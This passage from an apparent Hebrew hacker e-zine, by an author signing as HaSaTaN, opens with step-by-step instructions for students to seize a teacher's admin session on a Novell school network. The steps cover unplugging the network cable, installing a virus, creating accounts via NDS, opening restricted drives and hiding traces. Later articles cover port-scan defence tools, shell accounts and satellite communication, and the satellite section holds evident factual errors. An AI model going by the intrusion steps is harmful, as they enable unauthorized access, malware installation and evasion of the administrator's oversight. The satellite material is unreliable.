‫אז‪ ,‬ככה‪ ,‬שאפילו אם אתם הגאונים ביותר בכיתה שלכם במחשבים‪ ,‬על תגידו כלום‪ ,‬ואל תוציאו‬
‫הגה!‬

‫זהו‪ ,‬עכשיו לקטע המעשי (חיכיתם לזה‪ ,‬אה?)‪:‬‬


‫בצע את ההוראות‪:‬‬
‫‪ .1‬תראה כמו מטומטם (זה לא אמור להיות קשה בשבילך)‪ ,‬תחכה שהמורה (‪ )admin‬יצא‬
‫מהרשת‪ ,‬תילך למחשב שלו ותבצע את הדברים הבאים‪:‬‬
‫‪ .2‬תכבה את המחשב‬
‫‪ .3‬תוציא את השקע של הרשת (נראה טיפה כמו של טלפון)‬
‫‪ .4‬המחשב יזהה שאתה לא ברשת (חכו‪ ,‬עדיין לא אמרתי כלום)‪ ,‬ויקפוץ לשולחן עבודה כשהוא‬
‫משתמש בנתונים (סיסמא ושם משתמש) של המשתמש האחרון שהיה על המחשב‪ ,‬כך שאם זה‬
‫ה‪ admin -‬תקבל הרשאה וזכות לעשות כל דבר שתרצה‪ ,‬ולהתקין כל תוכנה (תתקינו ווירוס‪,‬‬
‫משהו כזה) בכל כונן!‬
‫‪ .5‬יש בעיה אחת‪ ,‬אתה לא יכול להתחבר לרשת (בעסה‪ ...‬אל תדאגו‪ ,‬יש פיתרון)‪ ,‬פשוט תחזירו‬
‫את הכבל של הרשת אל השקע‪.‬‬
‫‪ .6‬כל זה אמור לעבוד‪ ,‬אם ה‪ admin -‬לא כל כך חכם (איזה מילים עדינות‪ ,)...‬והוא לא ביטל ב‪-‬‬
‫‪ registery‬את האפשרות של תיקיית ‪ ,temp‬התיקייה הזאת משמשת לשמירת קבצים‬
‫שהמחשב ישתמש בהם בקרוב מאוד‪ ,‬אחד הקבצים שהוא שומר זה את השם והסיסמא!‬
‫ב‪ registery -‬יש אפשרות לבטל את זה!‬
‫‪ .7‬זה השלב הטיפה יותר מסובך‪ ,‬יש לך שתי אפשרויות‪ ,‬או ל"עדכן" את החשבון שלך למשהו‬
‫שיהיה בו את כל האפשרויות לשינוי כל דבר‪.‬‬
‫את כל זה אתה יכול לעשות דרך ה‪ NDS -‬שכבר הסברתי עליו!‬
‫או ליצור לעצמיך חשבון חדש‪ ,‬זה יהיה יותר מסוכן כמובן‪ ,‬עבל יכול להיות שיגלו את זה מאוד‬
‫מהר!‬

‫הנה איך לעשות את השינויים או יצירת החשבון החדש‪:‬‬

‫‪ .1‬גש ל‪ NDS -‬ע"י הפעלת הקובץ‪:‬‬


‫‪nwadmn32.exe‬‬
‫‪ .2‬תרגיש חופשי לעשות מה שבא לך‪ ,‬רק תיזהר לא להיבלט יותר מדי ולא לעשות שטויות שיגלו‬
‫אותך!‬

‫‪!!! C-O-O-L‬‬

‫השגת גישה לכוננים לא מורשים‪:‬‬


‫לפעמים‪ ,‬ה‪ admin -‬לא נותן גישה לכל הכוננים‪ ,‬מה שאתה רוצה עשות זה להיות במקומות‬
‫שאסור לך (אני כותב עכשיו בשפה מפגרת בגלל שהשעה עכשיו היא ‪ 12:34‬ואני מת מעייפות‪,‬‬
‫אז על תתיחסו)‪ ,‬אתה יכול‪ ,‬די בפשטות לעקוף את זה!‬
‫אז דבר ראשון אתה צריך למצוא את הכונן הראשי שלך‪ ,‬עשה זאת כך‪:‬‬
‫לך למחשב שלי‪ ,‬תלחץ לחיצה ימנית על אחד מהכונים של הרשת‪ ,‬עכשיו‪ ,‬תלחץ אפשרויות (‬
‫‪ )propertions‬ותראה מה כתוב שם‪ ,‬במקרה שלנו (רק לדוגמא) יהיה כתוב שם למעלה את שם‬
‫הכונן‪( gandalf :‬זוכרים?)‪ ,‬עכשיו‪ ,‬נלחץ התחל<הפעלה< ואתה הדבר הבא‪:‬‬
‫**תישרו לשמאל**‬

‫‪328‬‬
‫‪gandalf//‬‬
‫מה שהמחשב יעשה הוא יבקש גישה לכונן רשת שמסומן באמצעות שתי ה‪ -‬סלשים ( זה סלש‪:‬‬
‫"‪.) "/‬‬
‫אם ה‪ admin -‬המחורבן שלכם חסם את פקודת הפעלה (‪ )run‬עשו את הדבר הבא‪:‬‬
‫תגיעו לשולחן‪-‬עבודה‪ ,‬כשכל החלונות של ווינדואוס סגורים וליחצו על הלחצן שימני של העכבר‬
‫במקום רק על השולחן‪-‬עבודה‪ ,‬וביחרו ביצירת קיצור דרך‪ ,‬כשהוא יבקש את הכתובת הקישו‪:‬‬
‫**תישרו לשמאל**‬
‫‪//‬סרבר כל שהוא‬
‫ותלחצו ‪ ENTER‬כמה פעמים עד שהוא יסיים!‬
‫מגניב אה?‬
‫הוראות בטיחות‪:‬‬
‫לאחר השימוש בקובץ הקיצור‪ ,‬סמנו אותו וליחצו‪:‬‬
‫‪shift + del‬‬
‫מה שמחשב יעשה‪ ,‬זה שהוא ימחק את הקובת ישירות‪ ,‬ולא יעביר אותו לסל מחזור!‬
‫באמת לא כדאי לכם שה‪ admin -‬שלכם יראה שיש קיצור דרך על השולחן עבודה אל השרת‬
‫שלו!‬
‫הלאה בואו נמשיך‪:‬‬
‫אחרי שלחצת על הקיצור דרך‪ ,‬אתה תוכל להפעיל את הכונן ולצפות ב‪ NDS-‬שלו!‬
‫ה‪ admin -‬לא יכול לחסום את ה‪ NDS -‬ואתה‪ ,‬גם אם ה‪ admin -‬שלך חסם כל מה שאפשר‬
‫בעולם עדיין תוכל לצפות ב‪ ,NDS -‬אבל לא תוכל לשנות דבר! אבל עדיין זה מאוד שימושי! תוכל‬
‫לראות את שמות המשתמש של כל ה‪ group -‬כולל ה‪.admin -‬‬

‫‪HaSaTaN‬‬

‫‪Port scan‬‬
‫לאחר שבגיליון הקודם עסקנו קצת ב‪ Port Scanning -‬היום נלמד מה לעשות כדי כדי שלא‬
‫יעשו עליך (!!!)‬
‫‪.Port Scanning‬‬
‫(הקבצים של הגליון הקודם מצורפים או שהם ב ‪www.topcities.com/hackerim/herut.zip‬‬

‫תוכן‪:‬‬
‫א‪ .‬הקדמה‬
‫ב‪ .‬תוכנות שימושיות‬
‫ג‪ .‬מניעה פרקטית‬
‫ד‪ .‬איך זה עובד?‬ ‫!‬
‫ה‪ .‬שימוש ב‪host.ingore :‬‬
‫ו‪ .‬סיכום!‬

‫‪329‬‬
‫א ‪ -‬הקדמה‪:‬‬

‫‪ ,Port Scanning‬כולם עושים את זה‪ ,‬בין אם זה מנהל רשת שרוצה לבדוק עם יש בעיות‬
‫במערכת שלו‪ ,‬ובין אם זה ‪ Script Kid‬בן ‪ 12‬שמחפש פורטים פתוחים ב‪ Server -‬כלשהו‪.‬‬
‫תמיד כשדיברתי אם מנהלי מערכות מידע‪ ,‬מומחים בתחום אבטחת המידע‪ ,‬הם אמרו לי שהם‬
‫משקיעים הרה כסף וזמן ב‪ Firewalls -‬הכי חדשים ובמערכות האבטחה הכי חדשות‪ ,‬אבל אף‬
‫פעם לא שמעתי שהם עשו את הצעד הכמעט בסיסי‪ ,‬הגנה מ‪!Port Scanning -‬‬
‫בנתינת עירנות יתר לנושא של ‪ Port Scanning‬אפשר למנוע הרבה בעיות מוקדם מאוד‪ ,‬לפני‬
‫שזה כבר מאוחר מדי! במיוחד כאשר ישנם כל השיתופים ב‪ NetBIOS -‬וכל ה‪ Exploits -‬על‬
‫ה‪ Servers -‬השונים‬
‫‪ Port Scanning detection‬חשובה מתמיד!‬
‫אפילו ‪ ICMP‬קטן שנשלח מהמחשב שלך (או מרשת כלשהי) יכול להוות סימן להאקר שעושה‬
‫עליך ‪.Port Scanning‬‬
‫בכתבה הזאת אני אתן כמה טיפים להגנה מפני ‪ Port Scanning‬וגם כן כמה תוכנות והסבר‬
‫כיצד לעבוד איתם‪ ,‬אני גם אסביר על כל הצדדים (יתרונות וחסרונות) של הגנה מפני ‪Port‬‬
‫‪.Scanning‬‬

‫ב ‪ -‬תוכנות שימושיות‪:‬‬

‫לפני שאנחנו מתחילים חשוב לציין שבתקופה האחרונה (‪ 2-3‬שנים) תוכנות ה‪Port -‬‬
‫‪ Scanning‬התדמו בצורה מדהימה‪ ,‬ועכשיו הם הרבה יותר מהירים‪ ,‬חזקים והכי מסוכן ‪ -‬בלתי‬
‫נראים!‬
‫לפני כ‪ 3-‬שנים רוב האנשים השתמשו ב‪ Port Scanner -‬בשם‪( Strobe :‬נכתב ע"י‪Julian :‬‬
‫‪ ,)Assange‬הוא היה‬
‫הכי פשוט והכי מהיר‪ ,‬מן הסתם גם היום הוא הכי מהיר‪( .‬לינק אליו ‪ -‬ניתן למצוא בחלק ז')‪.‬‬
‫כיום ‪ -‬רוב האנשים משתמשים ב‪ NMAP -‬המפורסם של ‪ ,Inscure‬שהוא לא עושה רק ‪Port‬‬
‫‪ ,Scanning‬אלא הוא גם מגן מ‪ ,Port Scanning -‬ואחד מבין היתרונות הגדולים שלו‪ ,‬זה שהוא‬
‫אומר לך את מערכת ההפעלה (‪ )OS‬של הצד השני (זה שעושה עליך ‪ ,)Port Scanning‬את זה‬
‫הוא עושה ע"י שימוש ב"טביעות האצבע" שהשאיר זה שעשה עליך ‪ Port Scanning‬והשוואה‬
‫ל‪ DataBase -‬שנמצא בתוכנה עצמה (בדרך כלל ‪ -‬כמעט תמיד‪ NMAP ,‬לא טועה בהערכות שלו‬
‫לגבי מערכת ההפעלה של הצד השני)‪.‬‬
‫אז‪ .....‬נסכם ככה‪ ,‬שעם תוכנה מסכנה‪ ,‬כל בן אדם יכול לראות מה אתה עושה על הרשת שלך!‬
‫מפחד? אם לא אז יש לך בעיה!‬
‫כמובן שזה חסר תועלת להסיר את הבאנר ב‪ Deamon -‬שמצביע על סוג מערכת ההפעלה‪ ,‬כי‬
‫תוכנות כמו ‪ NMAP‬או‪ Queso -‬עושות עבודה יוצאת מן הכלל בגילוי סוג מערכת ההפעלה!‬
‫לרוע‪-‬המזל ‪ ,‬רוב מנהלי‪-‬הרשתות אפילו לא מודעים לתוכנות מסוג זה‪ ,‬וכשמישהו ישתמש בהם‬
‫נגדם ‪ -‬הם פשוט לא ידעו מה לעשות!‬

‫ג ‪ -‬מניעה פרקטית‪:‬‬

‫אני כבר יכול לשמוע אותכם שואלים‪ ,‬נו אז מה עושים?‬


‫אז ככה‪ ,‬ניסיתי כבר מספר דברים בשביל למנוע "‪ "Port Scanning‬על המערכת שלנו‪ ,‬כל מיני‬
‫שיטות‪ ,‬השיטה הכי יעילה‪ ,‬הייתה הפרויקט ‪ ,Abacus‬זהו פרויקט של איזה אתר‪ ,‬שהם הכינו‬
‫תוכנה שתמנע ‪.Port Scanning‬‬
‫והיא עובדת! ולא רק זה ‪ -‬יש לה כל מיני פונקציות מגניבות שאני יסביר עליהם בהמשך!‬
‫ברגע שהפעלת אותה‪ ,‬היא יוצרת ‪ Deamon‬בפורט נמוך לא משומש (‪ 3‬לדוגמא)‪ ,‬והוא זה‬
‫שמגלה את ה‪!Port Scanning -‬‬

‫‪330‬‬
‫בגלל שרוב האנשים סורקים פורטים מ‪ 0 -‬עד משהו כמו‪ ,1050 -‬ההאקר ינסה את‪:‬‬
‫‪failed :1‬‬
‫‪failes :2‬‬
‫‪!DETECTED :3‬‬

‫כך‪ ,‬גם יש לו מספיק פורטים ש"עובדים" (‪)1,2‬ואחרי זה ‪ -‬כשהוא חושב שכבר הכל בסדר‪ ,‬הוא‬
‫מגיע ל‪3 -‬‬
‫ונדפק!‬

‫ד ‪ -‬איך זה עובד?‬

‫בשביל להבין איך זה עובד‪ ,‬צריך להבין טבלה קטנה שקשורה ל‪:TCP\IP -‬‬
‫‪------------------------------------------------------------------------------‬‬
‫‪ | .1‬מחשב א' ‪ >---‬נשלח ‪ packet‬ובו הערך של ‪ syn‬נקבע ל‪ 1 -‬והערך ‪ ack‬ל‪.0 -‬‬
‫‪------------------------------------------------------------------------------‬‬
‫‪ | .2‬מחשב ב' ‪( >---‬אם הוא רוצה ליצור קשר עם א') שולח פאקט כשהערך ‪ syn‬נקבע ל‪1 -‬‬
‫והערך ‪ ack‬ל‪.1 -‬‬ ‫|‬
‫‪------------------------------------------------------------------------------‬‬
‫‪ | .3‬מחשב א' <‪ ----‬שולחים אחד לשני ‪ Packets‬כשכל הערכים (‪ )syn,ack‬נקבעים ל‪.1 -‬‬
‫‪ >---‬מחשב ב'‪.‬‬
‫‪------------------------------------------------------------------------------‬‬

‫זוהי התחברות ‪ TCP\IP‬סטנדרטית‪.‬‬


‫שלושת התליכים מוכרים מאוד בשם‪.TCP\IP three way handshake :‬‬
‫זהו הסבר פשוט מאוד‪ .‬אני לא יכנס ל‪ squence numbers -‬כי כבר הסברתי על זה כשדיברתי‬
‫על ‪.IP Spoof‬‬

‫רוב הפורט סקאנרים עובדים על אותו עיקרון של‪ ,‬לפתוח פורט כלשהו על הוט כלשהו ולראות‬
‫אם הוא מאזין‪ ,‬כשהוא מאזין ‪ -‬לגלות עליו מספר פרטים נחוצים כגון‪ :‬מספר הפורט‪ ,‬האם הוא‬
‫פתוח וכדומה!‬
‫הסוד במניעת ‪ Port Scanning‬היא להחביא את זה שיש לך ‪ Deamon‬מותקן על אחד‬
‫הפורטים‪ ,‬וגם חשוב להתקין את ה‪ Deamon -‬במקום שהפורץ מגיע לפני שהוא בורח‪...‬‬
‫אם אנחנו יודעים של‪ Ftp -‬יש ‪ Deamon‬מותקן על פורט ‪ ,21‬נידע לא לשים שמה!‬
‫לעומת זאת ‪ -‬הדוגמא שנתנו מקודם (בחלק ג') מצוינת! הפורץ לא מספיק לברוח וכבר! מאתרים‬
‫אותו כשהו לא חושד!‬

‫ה ‪ :ABACUS -‬שימוש ב‪:host.ingore -‬‬

‫בתוכנה ‪ ABACUS‬יש לנו אפשרות מצוינת שמאפשרת לנו להוסיף ‪ Hosts‬ו‪ IP's -‬לרשימה‬
‫שנקראת‪ host.ingore :‬וכל ‪ IP‬או ‪ Host‬שיוכנס לרשימה ‪ -‬כשיעשה על ה‪ Local IP -‬פורט‬
‫סקאנינג‪ ,‬לא יקרה כלום והתוכנה תתעלם ממנו!‬
‫למה זה טוב?‬
‫נגיד אתה מנהל רשת‪ ,‬ואתה התקנת את ‪ ABACUS‬על כל המחשבים‪ ,‬ומדי פעם אתה רוצה‬
‫לבדוק שהכל תקין במחשב מסוים‪ ,‬ואין שום פורצים שפתחו עליו פורטים‪ ,‬אתה עושה עלין‬
‫פורט סקאנינג ‪ -‬אה! אתה לא יכול ‪ ABACUS‬חוסם אותך! אז מה שאתה עושה ‪ -‬זה‪ ,‬אתה‬
‫ניגש למחשב ומוסיף למחשב הזה את ה‪ Ip -‬שלך ל‪ host.ingore -‬שלו!‬
‫נחמד‪ ,‬לא?‬

‫ו ‪ -‬סיכום‪:‬‬

‫לסיכום ‪ -‬עם באמת אתם רוצים לשמור על עצמיכם!‬


‫תורידו את התוכנות שציינתי‪ ,‬והנה במיוחד בשבילכם‪:‬‬

‫‪331‬‬
‫לינקים‪:‬‬

‫‪strobe‬‬

‫‪http://www.prosolve.com/download/strobe.zip‬‬

‫‪NMAP‬‬

‫‪( http://www.tux.org/pub/security/nmap.zip‬מומלץ בחום!)‬


‫‪:ABACUS‬‬

‫‪http://213.242.133.2/setup.exe‬‬

‫זהו‪........‬‬
‫סיימתי‪.......‬‬

‫‪HaSaTaN‬‬

‫תקשורת לוינית‬
‫הקדמה קצרה‪:‬‬

‫עליכם להבין שאני לא הולך להיכנס לפרטי הפרטים של תקשורת לווינית אלא רק לדברים‬
‫הכלליים והחשובים‪.‬‬
‫זהו אינו מדריך מקיף ללוינים אלא תקציר להבנה כללית בנושא!‬

‫תקשורת לוויינית עובדת על ידי גלים אלקטרונים קצרים‪ .‬בזכות המהירות של הגלים‬
‫האלקטרונים הקצרים ניתן ליצור התקשרויות ממקום אחד בעולם למקום אחר‪ ,‬תוך ‪ 2‬שניות‬
‫בלבד! וכל זה במהירות לא נורמלית!‬
‫דרושים שני לויינים כדי להקיף את כל כדור הארץ‪ .‬הלויינים סובבים את כדור הארץ במסלול‬
‫גיאוסינכרוני כל הזמן‪.‬‬

‫‪332‬‬
‫הלווין מקבל את אותות הגלים האלקטרונים הקצרים מתחנה על כדור הארץ‪ ,‬ממיר אותה לתדר‬
‫אחר ומעביר אותה הלאה או לתחנה על כדור הארץ או ללוין אחר‪.‬‬

‫בגלל המרחקים הארוכים שהתדר עובר ישנה השהיה (‪ )delay‬בין הזמן שהתדר יוצא מהלווין אז‬
‫שהוא מגיע ליעד שלו‪ .‬ההשהיה היא כאלפית השנייה ל‪ 110 -‬קילומטר‪.‬‬
‫לכל גל אלקטרוני שנשלח מלויין יש שתי תפקידים‪:‬‬

‫‪ .1‬לחזק את התדר (‪ ,)repeater‬כלומר ‪ -‬נניח ואני שולח מתחנה על כדוה"א גל אלקטרוני ללוין‬
‫רוסי‪ ,‬ומהלוין הרוסי ללוין באפריקה שישלח את זה לתחנה לוין (‪ )dish‬על כדוה"א בזימבבואה‬
‫תפקיד התדר שנשלח מרוסיה לאפריקה הוא לחזק את התדרף בגלל שהוא לא יצליח להגיע לבד‬
‫מלוין רוי לתחנה בזימבבואה!‬
‫‪ .2‬או כמובן המטרה הרגילה של תדר בגל קצר‪:‬‬
‫א‪ .‬מידע מכדוה"א ללויין (ומשם אנערף לאיפה)‪.‬‬
‫ב‪ .‬מידע מהלויין לכדוה"א (לדוגמא‪ :‬מלוין רוסי לתחנת לוין על כדוה"א ישראל)‪.‬‬

‫גלים אלקטרונים קצרים מהלוין לכדוה"א (נקרא ‪ )downlink‬וגלים אלקטרונים קצרים‬


‫מכדוה"א ללוין (נקרא ‪ )uplink‬נשלחים בטווח תדרים של‪( GHz 1.5-30 :‬להזכירכם ‪= GHz 1‬‬
‫ל‪.)HZ 1,000,000,00 :‬‬

‫זהו התקציר המקוצר שלי על לווינים!‬


‫מקווה שנהנתם!‬

‫‪HaSaTaN‬‬

‫‪( SHELL ACCOUNT‬חשבונות שאלל)‬


‫הקדמה‪:‬‬

‫המדריך הזה נכתב אחרי מאות בקשות של אנשים שרוצים לדעת מה זה לעזאזל שאלל‪ ,‬לשם מה‬
‫הוא נועד‪ ,‬איך משתמשים בו ולמה הוא טוב בכלל; על כל זה נרחיב במדריך הנ"ל‪.‬‬

‫מהו חשבון שאלל?‬

‫חשבון שאלל הוא בעצם סקריפט‪ ,‬שהלקוח [אנחנו]‪ ,‬מתחברים אליו בעזרת טלנט פשוט‪...‬‬
‫שאלל הוא בעצם מערכת יוניקס\לינוקס מרוחקת‪...‬ולפעמים אתה שולט על כל המחשב המרוחק‬
‫דרך המחשב הביתי שלך אפילו אם יש לך וינדוס ‪ ,98‬או כל דבר אחר‪...‬‬

‫‪333‬‬
‫דרך השאלל אפשר לגלוש באינטרנט‪ ,‬להתקין שרתי צ'אט ‪ ,FTP‬וכל דבר אחר שבא לכם‬
‫לראש‪...‬אבל בדרך כלל השרתים הרגילים מאפשרים להריץ עד ‪ 3‬שרתים בו זמנית‪.‬‬

‫לשם מה הוא נועד?‬

‫חשבון השאלל נועד להרבה מטרות חשובות וחשובות פחות‪ ,‬אבל הוא מיועד בעיקר לאנשים‬
‫שאין להם לינוקס‪ ,‬אבל הם בכל זאת רוצים להשתמש בשירותים שהלינוקס מקנה להם‪ ,‬בלי‬
‫להתקין אותו במחשב שלכם‪.‬‬
‫עוד השאלל משמש ללימוד‪ ,‬צבירת ניסיון בלינוקס ‪-‬כי כל הפקודות בו נכתבות ידנית כי אין לכם‬
‫בשאלל שום מסך גראפי כמו בוינדוס‪ ,‬והוא איכשהו מזכיר את מערכת ה‪.MS-DOS-‬‬
‫עוד שימוש עיקרי בשאלל הוא כמובן פריצה‪...‬למרות שזה ממש לא חוקי ויכול לסבך אותכם‬
‫בגדול‪ ,‬כי כל האחריות נופלת על בעל השאלל‪ ,‬זה בכל זאת אפשרי ורב כוח!!‬
‫רוב שרתי השאלל פועלים על פס תקשורת מהיר מאוד‪ ,‬כשבממוצע הוא פועל על מערכות ‪T3‬‬
‫ואף מגיע להתקנים כמו ‪- OC48‬שבמילים פשוטות מי שלא יודע מה זה‪ ,‬המכשיר מגיע‬
‫למהירות של יותר מחמש ג'יגה‪-‬בייט לשניה!!‬
‫‪-‬בשאלל אתם יכולים להתקין שרתים מגוונים‪ ,‬והכל באיכות שרק מערכת יוניקס יכולה לקנות‬
‫לכם‪...‬ושלא נדבר על המהירות שאיתה אתם עובדים‪ .‬לעומת זאת‪ ,‬בשאללים שניתנים חינם‪,‬‬
‫האפשרויות מאוד מוגבלות ולא נותנות לכם להריץ בוטים לצ'אטים או שרתים שתופסים הרבה‬
‫זיכרון ועוד הרבה הגבלות אחרות‪ ,‬כך שאם אתם באמת מחליטים להתנסות בשאלל‪ ,‬בלי הפחד‬
‫של להרוס לעצמכם את המחשב אם תתקינו לינוקס‪ ,‬עדיף יהיה לכם לשלם ‪ 8‬עד ‪ 20‬דולרים‬
‫לחשבון שאלל מתקדם‪ ,‬שייאפשר לכם לעשות בו כמעט כל דבר אפשרי בדיוק כמו במערכת‬
‫יוניקס רגילה!‬

‫פקודות בסיסיות בשאלל‬

‫טוב‪ ,‬לאלו שלא יודעים דבר ביוניקס\לינוקס [אותו הדבר]‪ ,‬ניתן כמה פקודות בסיסיות לשימוש‬
‫בשאלל שלכם‪..‬כי הפקודות שונות מאלו שאתם מכירים‪...‬‬
‫הערה‪:‬‬
‫‪------‬‬
‫במערכות יוניקס יש הבדל בין אותיות גדולות לקטנות‪ ,‬ככה שתקדישו לזה תשומת לב!‬

‫‪ - cd‬להיכנס לספרייה שאתם רוצים‪...‬בדיוק אותה הפקודה המוכרת ממערכת ה‪.MS-DOS-‬‬


‫‪ - cat‬מין ‪ VIEWER‬שנותן לכם לראות את תוכן הקובץ אותו אתם כותבים לצפייה‪.‬‬
‫‪ - wget‬פקודה האומרת לתוכנה להוריד את הקובץ מהלינק אותו תכתבו לידה‪.‬‬
‫‪ - lynx‬זוהי =תוכנה= אמיתית‪ ,‬כמובן בלי שום גראפיקה‪ ,‬ככה שאל תבהלו‪ ,‬אבל זהו דפדפן‬
‫האינטרנט המהיר ביותר בעולם‪....‬כי הוא פותח אתרים בצורה טקסטואלית!‬
‫‪ - emacs‬שוב =תוכנה= שנותנת לכם לערוך קבצי טקסט‪ ,‬לתכנת!‪ ,‬ועוד הרבה אפשרויות‬
‫אחרות!‬
‫‪ - gzip‬פקודה לפתיחת קובץ מכווץ שאתם מורידים מהאינטרנט מסוג ‪gz.‬‬
‫‪ - tar‬זהו עוד כיווץ שבא בדרך כלל בייחד עם ה‪ GZIP-‬והוא פותח קבצים מכווצים מסוג ‪tar.‬‬
‫‪ - dir‬פקודה מוכרת לכולנו‪...‬אין צורך לפרט אני חושב‪...‬‬
‫‪ - gcc‬הקומפיילר לשפת ה‪ ++C\C-‬שאי אפשר לזוז בלעדיו כמעט בלינוקס‪...‬‬
‫עוד חשוב לציין‪ ,‬שאפשר לראות את העזרה לפקודות\תוכנות המבוקשות בעזרת פקודת‪:‬‬
‫‪--help‬‬
‫עם רווח בין שני הפקודות!‬
‫אם אתם רוצים לקרוא יותר לעומק את הפקודות או כל דבר אחר לתפעול הלינוקס‪ ,‬השתמשו‬
‫בפקודת‪:‬‬
‫‪man‬‬
‫וליידה את הפקודה\תוכנה\כל דבר אחר שעליו אתם רוצים לקרוא עוד‪.‬‬

‫טוב‪ ,‬עכשיו אתם בטח רוצים כמה כתובת מאיפה אפשר להשיג שאללים‪ ,‬אז הנה‪ ,‬ניתן לכם כמה‬
‫כתובת של שאללים חינמים שלא מומלצים כל‪-‬כך‪ ,‬אבל בכל זאת‪...‬‬

‫‪334‬‬
‫‪ - nether.net‬דווקא הוא ממש לא רע‬
‫‪freeshell.org‬‬
‫‪- www.cyberarmy.com/lists‬אני לא יודע אם עדיין יש שם רשימות של שאללים‪ ,‬אבל בכל‬
‫זאת תנסו!‬

‫שאללים בתשלום אפשר למצוא דרך שרתי הצ'אט של ‪EFNET, DALNET‬‬


‫בחדרים‪SHELLS, SHELL,BOUNCERS# :‬‬
‫שנותנים לכם המון מקומות לקניית שאללים טובים!‬

‫אם אתם בכל זאת לא יודעים איך להתחבר לשאלל שלכם‪ ,‬אז הנה‪:‬‬
‫‪ - telnet yourshellhere‬בפורט ‪23‬‬

‫אז זהו להפעם‪ ,‬מקווה שתרמתי קצת ליידע שלכם‪ ,‬מדריך זה הוא חלק מסידרת מדריכים שאני‬
‫יוציא במהלך החודש‪...‬מקווה שתהנו גם מהם‪...‬‬

‫שאלות נפוצות‪ ,‬שכולם שואלים‪:‬‬

‫מקרא‪:‬‬
‫‪ =q‬שאלה‪.‬‬
‫‪ =a‬תשובה‪.‬‬

‫‪ :Q‬מהו חשבון השאלל?‬


‫‪ :A‬אם אתה שואל את זה כנראה שלא הבנת כלום מכתבה אבל בכל מקרה‪ ,‬קרא את זה‪:‬‬
‫אתה וודאי משתמש ב‪ windows -‬כך שהשאלל בשבילך הוא ממשק ממש לא גרפי שבעצם‬
‫עושה את הפעולה של ה‪( ,command.com -‬ה‪ command.com -‬זה הדבר שמנהל את כל‬
‫הפקודות ב‪ ,)ms-dos -‬אלא שזה בעצם ‪( *nix‬כלומר‪ ,‬גם ‪ unix‬וגם ‪ )linux‬מה שהשאלל עושה‬
‫זה שהוא בעצם נותן לך "כאילו להיות ב‪ *nix -‬אבל דרך המחשב שלך‪ ,‬הבנת?‬
‫עוד דבר שה‪ *nix -‬עושה זה קודם מתרגם את הפקודות לשפה התחתונה (אסמבלי או אפילו‬
‫שפרות בינאריות) ורק לאחר שהוא תרגם את הפקודות לשפה התחתונה של המחשב‪ ,‬רק אז‬
‫הוא מעביר את זה לשרת‪ ,‬דבר שחוסך ממך להתחיל לכתוב פקודה כלשהי ‪ -‬במיליון מספרים‬
‫של ‪ 0010001010‬וכו'‬

‫‪ :Q‬זה ממש מגוחך מה שענית מקודם‪ ,‬למה שאני אצטרך את ה‪( shell -‬שאלל) אם יש לי את‬
‫‪ command.com‬שלי? (הסבר למה זה ‪ command.com‬ניתן לקרוא‬ ‫אותם פעולות ב‪-‬‬
‫בתשובה הקודמת)‬
‫‪ :A‬אנשים אוהבים חשבונות שאלל משום שזה כאילו שהם מתפקדים בתוך מערכת ‪*nix‬‬
‫משלהם‪ ,‬דבר שמקדם אותם במחשבים ובתכנות‪ ,‬למה שאנשים לא ירצו להשתמש גם ב‪-‬‬
‫‪( *nix‬אמנם דרך הטלנט‪ ,‬אבל עדיין חיבור לזה) וגם חיבור ל‪????windows -‬‬
‫הבנתם??‬

‫‪ :Q‬חבר שלי אמר לי שיש סוגים של חשבונות שאלל‪ ,‬שהם מסריחים לגמרי בגלל שהם נותנים‬
‫נרחב בפעולות ופקודות שלך? האם זה נכון?‬ ‫לך צמצום מאוד‬
‫‪ :A‬נכון מאוד‪ ,‬אך זה לא כל כך פשוט‪ ,‬בדרך ‪ -‬כלל השאלל'ים המוגבלים הם חינם ברשת‪ ,‬ואילו‬
‫לא מוגבלים ניתנים רק אחרי קנייה (בד"כ מינימום של חשבון שאלל הוא ‪8$‬‬ ‫השאלל'ים‬
‫בהרבה מה‪ .)8$ -‬בחשבונות המוגבלים הם שוללים ממך פקודות‬ ‫לבין ‪ 20$‬כשה‪ 20$ -‬טוב‬
‫מסוימות (למתקדמים‪ :‬פקודות מסוג ‪ nslookup‬ועוד מספר תוכנות ופקודות של הטלנט)‪ .‬אבל‬
‫אל תדאג ישנם חשבונות שאללה ממש טובים!‬

‫‪335‬‬
‫‪ :Q‬אז זה באמת נכון שאני יכול להשיג אחד חינם?‬
‫‪ :A‬כן‪ ,‬אתה יכול רק עם צמצום (כיצד להשג את זה תוכל לקרוא בכתבה עצמה)‪.‬‬

‫‪ :Q‬הי‪ ,‬השגתי חשבון שאלל‪ ,‬איך אני יכול לדעת אם הוא חשבון טוב?‬
‫‪ :A‬דבר זה תלוי בבן ‪ -‬אדם ששואל‪ ,‬למשל ‪ -‬בשבילי זהו חשבון טוב‪ ,‬שיש לו את הדברים‬
‫הבאים‪:‬‬

‫‪ - telnet‬תמיכה בטלנט (אם אתם לא יודעים מה זה תקראו את הכתבה שהכנתי על טלנט)‬


‫‪ - nslookup‬נותן לך מידע לגבי ההוסט‬
‫‪ -‬תמיכה ב‪ftp -‬‬ ‫‪ftp‬‬
‫‪ - finger‬קבלת אינפורמציה על משתמשים מסוימים דרך הקשת האימייל שלהם‬
‫‪ - Traceroute‬אותו דבר כמו ‪ tracert‬רק הרבה יותר טוב (אם אתם לא יודעים מה זה ‪tracert‬‬
‫זה‪ ,‬זה לא ממש עקרוני)‪.‬‬ ‫אז עזבו את‬
‫‪ -‬בד"כ‪ ,‬רוב השאלל'ים החופשיים לא יתנו לך את זה‪ ,‬אבל אל תדאג‬ ‫‪Dig‬‬
‫‪ - Netstat‬בדיוק כמו ב‪windows -‬‬
‫‪ -‬קומפלייר אדיר ל ‪ c‬שימושי ביותר (פרטים בגיליון הבא)‬ ‫‪GCC‬‬
‫‪ -‬כמו זיפ‪ ,‬רק של ‪*nix‬‬ ‫‪Gzip‬‬
‫‪ -‬ה‪( broser -‬סייר ‪ )windows‬הכי טוב בעולם !!!‬ ‫‪Lynx‬‬

‫כמו שאמרתי מקודם‪ ,‬זה הוא חשבון טוב בשבילי תבינו ‪ -‬הכול יחסי‪ ,‬מה שבטוח על תיקחו‬
‫חשבון שאלל שאין לא את הדברים הבאים‪:‬‬

‫‪telnet‬‬
‫‪ftp‬‬
‫‪Gcc‬‬

‫‪HaSaTaN‬‬

‫המשפטים שכדאי לומר לשוטר תנועה כשהו עוצר אותך‬


‫אני יכול לתת לך את רשיון הנהיגה רק אם תחזיק את פחית הבירה שלי‪.‬‬

